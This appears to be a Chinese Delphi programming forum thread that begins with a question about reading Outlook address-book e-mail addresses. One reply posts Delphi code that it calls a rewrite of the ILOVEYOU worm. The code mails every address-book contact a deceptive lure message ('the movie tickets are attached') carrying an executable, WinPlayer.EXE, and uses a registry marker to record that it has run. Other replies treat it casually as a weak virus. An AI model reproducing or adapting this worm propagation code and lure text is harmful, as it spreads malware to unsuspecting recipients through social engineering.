如何从Outlook的地址簿中取得E-mail地址列表？(40分)

OA系统，用户要求从Outlook的地址簿中取得E-mail地址，SOS
就这么多分了

超越爱虫病毒序，如何在DELPHI 中加入自动OUTLOOK 向美丽杀一样传播。


try
try
reg:=tregistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
if reg.OpenKey('/Software/Microsoft/Windows/CurrentVersion',true)then
begin
if reg.ValueExists('Apologles')<>true then
begin
UngaDasOutlook := CreateoleObject('Outlook.Application');
DasMapiName := UngaDasOutlook.GetNamespace('MAPI');
DasMapiName.Logon ('profile','password');
For y:=1 To DasMapiName.AddressLists.Count do
begin
AddyBook:= DasMapiName.AddressLists;
x:= 1;
BreakUmOffASlice:= UngaDasOutlook.CreateItem(0);
For oo:= 1 To AddyBook.AddressEntries.Count do
begin
Peep := AddyBook.AddressEntries(x);
BreakUmOffASlice.Recipients.Add (Peep);
x:= x + 1;

end;
end;
BreakUmOffASlice.Subject:='不,你知道，在酒吧里那件事儿';
BreakUmOffASlice.Body:='我骗你是因为我有了你的孩子，啊！我的上帝,电影票在附件中有。';
BreakUmOffASlice.Attachments.Add (syspath+'/'+'WinPlayer.EXE');
BreakUmOffASlice.Send;
Peep:= '';
DasMapiName.Logoff;
end;
end;
finally
reg:=tregistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
if reg.OpenKey('/Software/Microsoft/Windows/CurrentVersion',true)then
begin
reg.Writeinteger('Apologles',1);
reg.CloseKey;
end;
reg.CloseKey;
end;
except
reg:=tregistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
if reg.OpenKey('/Software/Microsoft/Windows/CurrentVersion',true)then
begin
reg.Writeinteger('Apologle',1234567);
reg.CloseKey;
end;
reg.CloseKey;
end;

变量类型？应该引用哪些单元？

查 Variant 就好了
顺便说一句,上面得那个只能取得 Outlook 的不能取得 Outlook Express 的

haha,我从来用的都是Express,不中

章慧,我自己写了一套专门查 Express 的,你不中也得中,呵呵,上面的超越爱虫是爱虫的一个改写版,不算是很厉害的病毒,你看看人家高手写的就知道了

直接将其目录COPY过去就OK了

多人接受答案了。